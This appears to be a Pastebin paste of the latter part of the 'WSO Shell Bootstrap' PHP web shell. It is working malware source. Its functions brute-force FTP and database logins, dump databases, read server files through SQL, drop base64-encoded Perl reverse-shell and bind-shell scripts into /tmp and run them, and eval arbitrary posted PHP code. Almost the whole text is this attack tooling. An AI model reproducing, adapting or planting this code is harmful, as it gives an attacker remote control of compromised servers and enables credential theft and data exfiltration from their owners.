  1804.   if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
  1805.    die('Shell has been removed');
  1806.   else
  1807.    echo 'unlink error!';
  1808.     if($_POST['p1'] != 'yes')
  1809.         wsoHeader();
  1810.  echo '<div class="container-fluid"><span  class="label label-default">Shelli Kaldır</span>
  1811. <div style="margin-top:4pt;" class="well">Kaldırmak İstedinden Emin Mİsin?<br><a href=# style="margin-left:3px;margin-bottom:3px;" class="btn btn-success btn-xs"onclick="g(null,null,\'yes\')">Evet</a></div></div>';
  1812.    echo "
  1813.   <footer><center><small>Wso Shell Bootstrap  &copy;  Coded By <a target='_blank' class='xa' href='https://twitter.com/coderantidote'>Antidote</a></small> </center></footer>
  1814.   ";
  1815. }
  1816.  
  1817. function actionBruteforce() {
  1818.  wsoHeader();
  1819.  if( isset($_POST['proto']) ) {
  1820.   echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
  1821.   if( $_POST['proto'] == 'ftp' ) {
  1822.    function bruteForce($ip,$port,$login,$pass) {
  1823.     $fp = @ftp_connect($ip, $port?$port:21);
  1824.     if(!$fp) return false;
  1825.     $res = @ftp_login($fp, $login, $pass);
  1826.     @ftp_close($fp);
  1827.     return $res;
  1828.    }
  1829.   } elseif( $_POST['proto'] == 'mysql' ) {
  1830.    function bruteForce($ip,$port,$login,$pass) {
  1831.     $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
  1832.     @mysql_close($res);
  1833.     return $res;
  1834.    }
  1835.   } elseif( $_POST['proto'] == 'pgsql' ) {
  1836.    function bruteForce($ip,$port,$login,$pass) {
  1837.     $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
  1838.     $res = @pg_connect($str);
  1839.     @pg_close($res);
  1840.     return $res;
  1841.    }
  1842.   }
  1843.   $success = 0;
  1844.   $attempts = 0;
  1845.   $server = explode(":", $_POST['server']);
  1846.   if($_POST['type'] == 1) {
  1847.    $temp = @file('/etc/passwd');
  1848.    if( is_array($temp) )
  1849.     foreach($temp as $line) {
  1850.      $line = explode(":", $line);
  1851.      ++$attempts;
  1852.      if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
  1853.       $success++;
  1854.       echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
  1855.      }
  1856.      if(@$_POST['reverse']) {
  1857.       $tmp = "";
  1858.       for($i=strlen($line[0])-1; $i>=0; --$i)
  1859.        $tmp .= $line[0][$i];
  1860.       ++$attempts;
  1861.       if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
  1862.        $success++;
  1863.        echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
  1864.       }
  1865.      }
  1866.     }
  1867.   } elseif($_POST['type'] == 2) {
  1868.    $temp = @file($_POST['dict']);
  1869.    if( is_array($temp) )
  1870.     foreach($temp as $line) {
  1871.      $line = trim($line);
  1872.      ++$attempts;
  1873.      if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
  1874.       $success++;
  1875.       echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
  1876.      }
  1877.     }
  1878.   }
  1879.   echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
  1880.  }
  1881.  echo '<div class="container-fluid"><span  class="label label-default">FTP bruteforce</span><div style="margin-top:4pt;" class="well"><table><form method=post><tr><td><span>Type</span></td>'
  1882.   .'<td><select style="color:#d9534f;" name=proto><option style="color:#d9534f;" value=ftp>FTP</option><option style="color:#d9534f;" value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
  1883.   .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
  1884.   .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
  1885.   .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
  1886.   .'<span>Server:port</span></td>'
  1887.   .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
  1888.   .'<tr><td><span>Brute type</span></td>'
  1889.   .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
  1890.   .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
  1891.   .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
  1892.   .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
  1893.   .'<td><input type=text name=login value="root"></td></tr>'
  1894.   .'<tr><td><span>Dictionary</span></td>'
  1895.   .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
  1896.   .'</td></tr><tr><td></td><td><input type=submit style="margin-left:3px;margin-bottom:3px;" class="btn btn-success btn-xs" value=">>"></td></tr></form></table>';
  1897.  echo '</div></div><br>';
  1898.   echo "
  1899.   <footer><center><small>Wso Shell Bootstrap  &copy;  Coded By <a target='_blank' class='xa' href='https://twitter.com/coderantidote'>Antidote</a></small> </center></footer>
  1900.   ";
  1901. }
  1902.  
  1903. function actionSql() {
  1904.  class DbClass {
  1905.   var $type;
  1906.   var $link;
  1907.   var $res;
  1908.   function DbClass($type) {
  1909.    $this->type = $type;
  1910.   }
  1911.   function connect($host, $user, $pass, $dbname){
  1912.    switch($this->type) {
  1913.     case 'mysql':
  1914.      if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
  1915.      break;
  1916.     case 'pgsql':
  1917.      $host = explode(':', $host);
  1918.      if(!$host[1]) $host[1]=5432;
  1919.      if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
  1920.      break;
  1921.    }
  1922.    return false;
  1923.   }
  1924.   function selectdb($db) {
  1925.    switch($this->type) {
  1926.     case 'mysql':
  1927.      if (@mysql_select_db($db))return true;
  1928.      break;
  1929.    }
  1930.    return false;
  1931.   }
  1932.   function query($str) {
  1933.    switch($this->type) {
  1934.     case 'mysql':
  1935.      return $this->res = @mysql_query($str);
  1936.      break;
  1937.     case 'pgsql':
  1938.      return $this->res = @pg_query($this->link,$str);
  1939.      break;
  1940.    }
  1941.    return false;
  1942.   }
  1943.   function fetch() {
  1944.    $res = func_num_args()?func_get_arg(0):$this->res;
  1945.    switch($this->type) {
  1946.     case 'mysql':
  1947.      return @mysql_fetch_assoc($res);
  1948.      break;
  1949.     case 'pgsql':
  1950.      return @pg_fetch_assoc($res);
  1951.      break;
  1952.    }
  1953.    return false;
  1954.   }
  1955.   function listDbs() {
  1956.    switch($this->type) {
  1957.     case 'mysql':
  1958.                         return $this->query("SHOW databases");
  1959.     break;
  1960.     case 'pgsql':
  1961.      return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
  1962.     break;
  1963.    }
  1964.    return false;
  1965.   }
  1966.   function listTables() {
  1967.    switch($this->type) {
  1968.     case 'mysql':
  1969.      return $this->res = $this->query('SHOW TABLES');
  1970.     break;
  1971.     case 'pgsql':
  1972.      return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
  1973.     break;
  1974.    }
  1975.    return false;
  1976.   }
  1977.   function error() {
  1978.    switch($this->type) {
  1979.     case 'mysql':
  1980.      return @mysql_error();
  1981.     break;
  1982.     case 'pgsql':
  1983.      return @pg_last_error();
  1984.     break;
  1985.    }
  1986.    return false;
  1987.   }
  1988.   function setCharset($str) {
  1989.    switch($this->type) {
  1990.     case 'mysql':
  1991.      if(function_exists('mysql_set_charset'))
  1992.       return @mysql_set_charset($str, $this->link);
  1993.      else
  1994.       $this->query('SET CHARSET '.$str);
  1995.      break;
  1996.     case 'pgsql':
  1997.      return @pg_set_client_encoding($this->link, $str);
  1998.      break;
  1999.    }
  2000.    return false;
  2001.   }
  2002.   function loadFile($str) {
  2003.    switch($this->type) {
  2004.     case 'mysql':
  2005.      return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
  2006.     break;
  2007.     case 'pgsql':
  2008.      $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
  2009.      $r=array();
  2010.      while($i=$this->fetch())
  2011.       $r[] = $i['file'];
  2012.      $this->query('drop table wso2');
  2013.      return array('file'=>implode("\n",$r));
  2014.     break;
  2015.    }
  2016.    return false;
  2017.   }
  2018.   function dump($table, $fp = false) {
  2019.    switch($this->type) {
  2020.     case 'mysql':
  2021.      $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
  2022.      $create = mysql_fetch_array($res);
  2023.      $sql = $create[1].";\n";
  2024.                     if($fp) fwrite($fp, $sql); else echo($sql);
  2025.      $this->query('SELECT * FROM `'.$table.'`');
  2026.                     $head = true;
  2027.      while($item = $this->fetch()) {
  2028.       $columns = array();
  2029.       foreach($item as $k=>$v) {
  2030.                             if($v == null)
  2031.                                 $item[$k] = "NULL";
  2032.                             elseif(is_numeric($v))
  2033.                                 $item[$k] = $v;
  2034.                             else
  2035.                                 $item[$k] = "'".@mysql_real_escape_string($v)."'";
  2036.        $columns[] = "`".$k."`";
  2037.       }
  2038.                         if($head) {
  2039.                             $sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
  2040.                             $head = false;
  2041.                         } else
  2042.                             $sql = "\n\t,(".implode(", ", $item).')';
  2043.                         if($fp) fwrite($fp, $sql); else echo($sql);
  2044.      }
  2045.                     if(!$head)
  2046.                         if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
  2047.     break;
  2048.     case 'pgsql':
  2049.      $this->query('SELECT * FROM '.$table);
  2050.      while($item = $this->fetch()) {
  2051.       $columns = array();
  2052.       foreach($item as $k=>$v) {
  2053.        $item[$k] = "'".addslashes($v)."'";
  2054.        $columns[] = $k;
  2055.       }
  2056.                         $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
  2057.                         if($fp) fwrite($fp, $sql); else echo($sql);
  2058.      }
  2059.     break;
  2060.    }
  2061.    return false;
  2062.   }
  2063.  };
  2064.  $db = new DbClass($_POST['type']);
  2065.  if(@$_POST['p2']=='download') {
  2066.   $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
  2067.   $db->selectdb($_POST['sql_base']);
  2068.         switch($_POST['charset']) {
  2069.             case "Windows-1251": $db->setCharset('cp1251'); break;
  2070.             case "UTF-8": $db->setCharset('utf8'); break;
  2071.             case "KOI8-R": $db->setCharset('koi8r'); break;
  2072.             case "KOI8-U": $db->setCharset('koi8u'); break;
  2073.             case "cp866": $db->setCharset('cp866'); break;
  2074.         }
  2075.         if(empty($_POST['file'])) {
  2076.             ob_start("ob_gzhandler", 4096);
  2077.             header("Content-Disposition: attachment; filename=dump.sql");
  2078.             header("Content-Type: text/plain");
  2079.             foreach($_POST['tbl'] as $v)
  2080.     $db->dump($v);
  2081.             exit;
  2082.         } elseif($fp = @fopen($_POST['file'], 'w')) {
  2083.             foreach($_POST['tbl'] as $v)
  2084.                 $db->dump($v, $fp);
  2085.             fclose($fp);
  2086.             unset($_POST['p2']);
  2087.         } else
  2088.             die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
  2089.  }
  2090.  wsoHeader();
  2091.  echo "
  2092.  
  2093. <div class='container-fluid'><span  class='label label-default'>Sql Browser</span>
  2094. <div style='margin-top:4pt;' class='well'>
  2095. <form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
  2096. <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
  2097. <input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
  2098. <td><select style='color:#d9534f;' name='type'><option style='color:#d9534f;' value='mysql' ";
  2099.     if(@$_POST['type']=='mysql')echo 'selected';
  2100. echo ">MySql</option><option style='color:#d9534f;' value='pgsql' ";
  2101. if(@$_POST['type']=='pgsql')echo 'selected';
  2102. echo ">PostgreSql</option></select></td>
  2103. <td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
  2104. <td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
  2105. <td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
  2106.  $tmp = "<input type=text name=sql_base value=''>";
  2107.  if(isset($_POST['sql_host'])){
  2108.   if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
  2109.    switch($_POST['charset']) {
  2110.     case "Windows-1251": $db->setCharset('cp1251'); break;
  2111.     case "UTF-8": $db->setCharset('utf8'); break;
  2112.     case "KOI8-R": $db->setCharset('koi8r'); break;
  2113.     case "KOI8-U": $db->setCharset('koi8u'); break;
  2114.     case "cp866": $db->setCharset('cp866'); break;
  2115.    }
  2116.    $db->listDbs();
  2117.    echo "<select style='color:#d9534f;' name=sql_base><option style='color:#d9534f;' value=''></option>";
  2118.    while($item = $db->fetch()) {
  2119.     list($key, $value) = each($item);
  2120.     echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
  2121.    }
  2122.    echo '</select>';
  2123.   }
  2124.   else echo $tmp;
  2125.  }else
  2126.   echo $tmp;
  2127.  echo "</td>
  2128.  
  2129.    <td><input type=submit style='margin-left:3px;margin-bottom:3px;' class='btn btn-success btn-xs' value='>>' onclick='fs(d.sf);'></td>
  2130.                <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
  2131.   </tr>
  2132.  </table>
  2133.  <script>
  2134.            s_db='".@addslashes($_POST['sql_base'])."';
  2135.            function fs(f) {
  2136.                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
  2137.                    if(f.p1) f.p1.value='';
  2138.                    if(f.p2) f.p2.value='';
  2139.                    if(f.p3) f.p3.value='';
  2140.                }
  2141.            }
  2142.   function st(t,l) {
  2143.    d.sf.p1.value = 'select';
  2144.    d.sf.p2.value = t;
  2145.                if(l && d.sf.p3) d.sf.p3.value = l;
  2146.    d.sf.submit();
  2147.   }
  2148.   function is() {
  2149.    for(i=0;i<d.sf.elements['tbl[]'].length;++i)
  2150.     d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
  2151.   }
  2152.  </script>";
  2153.  if(isset($db) && $db->link){
  2154.   echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
  2155.    if(!empty($_POST['sql_base'])){
  2156.     $db->selectdb($_POST['sql_base']);
  2157.     echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
  2158.     $tbls_res = $db->listTables();
  2159.     while($item = $db->fetch($tbls_res)) {
  2160.      list($key, $value) = each($item);
  2161.                     if(!empty($_POST['sql_count']))
  2162.                         $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
  2163.      $value = htmlspecialchars($value);
  2164.      echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>";
  2165.     }
  2166.     echo "<input type='checkbox' onclick='is();'> <input type=button style='margin-left:3px;margin-bottom:3px;' class='btn btn-success btn-xs' value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
  2167.     if(@$_POST['p1'] == 'select') {
  2168.      $_POST['p1'] = 'query';
  2169.                     $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
  2170.      $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
  2171.      $num = $db->fetch();
  2172.      $pages = ceil($num['n'] / 30);
  2173.                     echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
  2174.                     echo " of $pages";
  2175.                     if($_POST['p3'] > 1)
  2176.                         echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>";
  2177.                     if($_POST['p3'] < $pages)
  2178.                         echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>";
  2179.                     $_POST['p3']--;
  2180.      if($_POST['type']=='pgsql')
  2181.       $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
  2182.      else
  2183.       $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
  2184.      echo "<br><br>";
  2185.     }
  2186.     if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
  2187.      $db->query(@$_POST['p2']);
  2188.      if($db->res !== false) {
  2189.       $title = false;
  2190.       echo '<table class="table table-striped table-hover ">';
  2191.       $line = 1;
  2192.       while($item = $db->fetch()) {
  2193.        if(!$title) {
  2194.         echo '<tr class="info">';
  2195.         foreach($item as $key => $value)
  2196.          echo '<th>'.$key.'</th>';
  2197.         reset($item);
  2198.         $title=true;
  2199.         echo '</tr><tr>';
  2200.         $line = 2;
  2201.        }
  2202.        echo '<tr class="danger">';
  2203.        $line = $line==1?2:1;
  2204.        foreach($item as $key => $value) {
  2205.         if($value == null)
  2206.          echo '<td><i>null</i></td>';
  2207.         else
  2208.          echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
  2209.        }
  2210.        echo '</tr>';
  2211.       }
  2212.       echo '</table>';
  2213.      } else {
  2214.       echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
  2215.      }
  2216.     }
  2217.     echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
  2218.                 if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
  2219.                     echo htmlspecialchars($_POST['p2']);
  2220.                 echo "</textarea><br/><input type=submit style='margin-left:3px;margin-bottom:3px;' class='btn btn-success btn-xs' value='Execute'>";
  2221.     echo "</td></tr>";
  2222.    }
  2223.    echo "</table></form><br/>";
  2224.             if($_POST['type']=='mysql') {
  2225.                 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
  2226.                 if($db->fetch())
  2227.                     echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input  style='margin-left:3px;margin-bottom:3px;' class='btn btn-success btn-xs' type=submit value='>>'></form>";
  2228.             }
  2229.    if(@$_POST['p1'] == 'loadfile') {
  2230.     $file = $db->loadFile($_POST['p2']);
  2231.     echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
  2232.    }
  2233.  } else {
  2234.         echo htmlspecialchars($db->error());
  2235.     }
  2236.  echo '</div>';
  2237.    echo "
  2238.   <footer><center><small>Wso Shell Bootstrap  &copy;  Coded By <a target='_blank' class='xa' href='https://twitter.com/coderantidote'>Antidote</a></small> </center></footer>
  2239.   ";
  2240. }
  2241. function actionNetwork() {
  2242.  wsoHeader();
  2243.  $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  2244.  $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
  2245.  echo "<div class='container-fluid'>
  2246. <span  class='label label-default'>Network tools</span>
  2247. <div style='margin-top:4pt;' class='well'>
  2248. <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
  2249. <span  class='label label-danger'>Bind port to /bin/sh [perl]</span><br/>
  2250. <div style='width:230pt;' class='alert alert-dismissible alert-info'>
  2251. Port: <input type='text' name='port' value='31337'> <input type=submit style='margin-left:3px;margin-bottom:3px;' class='btn btn-success btn-xs' value='>>'>
  2252. </div>
  2253. </form>
  2254.  <span  class='label label-danger'>Back-connect  [perl]</span><br/>
  2255. <div style='width:230pt;' class='alert alert-dismissible alert-info'>
  2256. <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
  2257.  
  2258. Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input style='margin-left:3px;margin-bottom:3px;' class='btn btn-success btn-xs' type=submit value='>>'>
  2259. </form></div>";
  2260.  if(isset($_POST['p1'])) {
  2261.   function cf($f,$t) {
  2262.    $w = @fopen($f,"w") or @function_exists('file_put_contents');
  2263.    if($w){
  2264.     @fwrite($w,@base64_decode($t));
  2265.     @fclose($w);
  2266.    }
  2267.   }
  2268.   if($_POST['p1'] == 'bpp') {
  2269.    cf("/tmp/bp.pl",$bind_port_p);
  2270.    $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
  2271.    echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
  2272.             unlink("/tmp/bp.pl");
  2273.   }
  2274.   if($_POST['p1'] == 'bcp') {
  2275.    cf("/tmp/bc.pl",$back_connect_p);
  2276.    $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
  2277.    echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
  2278.             unlink("/tmp/bc.pl");
  2279.   }
  2280.  }
  2281.  echo '</div></div>';
  2282.    echo "
  2283.   <footer><center><small>Wso Shell Bootstrap  &copy;  Coded By <a target='_blank' class='xa' href='https://twitter.com/coderantidote'>Antidote</a></small> </center></footer>
  2284.   ";
  2285. }
  2286.  
  2287. function actionRC() {
  2288.  if(!@$_POST['p1']) {
  2289.   $a = array(
  2290.    "uname" => php_uname(),
  2291.    "php_version" => phpversion(),
  2292.    "wso_version" => WSO_VERSION,
  2293.    "safemode" => @ini_get('safe_mode')
  2294.   );
  2295.   echo serialize($a);
  2296.  } else {
  2297.   eval($_POST['p1']);
  2298.  }
  2299. }
  2300. if( empty($_POST['a']) )
  2301.  if(isset($default_action) && function_exists('action' . $default_action))
  2302.   $_POST['a'] = $default_action;
  2303.  else
  2304.   $_POST['a'] = 'SecInfo';
  2305. if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
  2306.  call_user_func('action' . $_POST['a']);
  2307. function FetchURL($url) {
  2308.          $ch = curl_init();
  2309.          curl_setopt($ch, CURLOPT_USERAGENT, "$cheader");
  2310.          curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2311.          curl_setopt($ch, CURLOPT_HEADER, false);
  2312.          curl_setopt($ch, CURLOPT_URL, $url);
  2313.          curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2314.          curl_setopt($ch, CURLOPT_TIMEOUT, 30);
  2315.          $data = curl_exec($ch);
  2316.          if(!$data) {
  2317.             return false;
  2318.          }
  2319.          return $data;
  2320.       }
  2321.  
  2322.  
  2323. exit;
  2324.  
  2325. ?>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!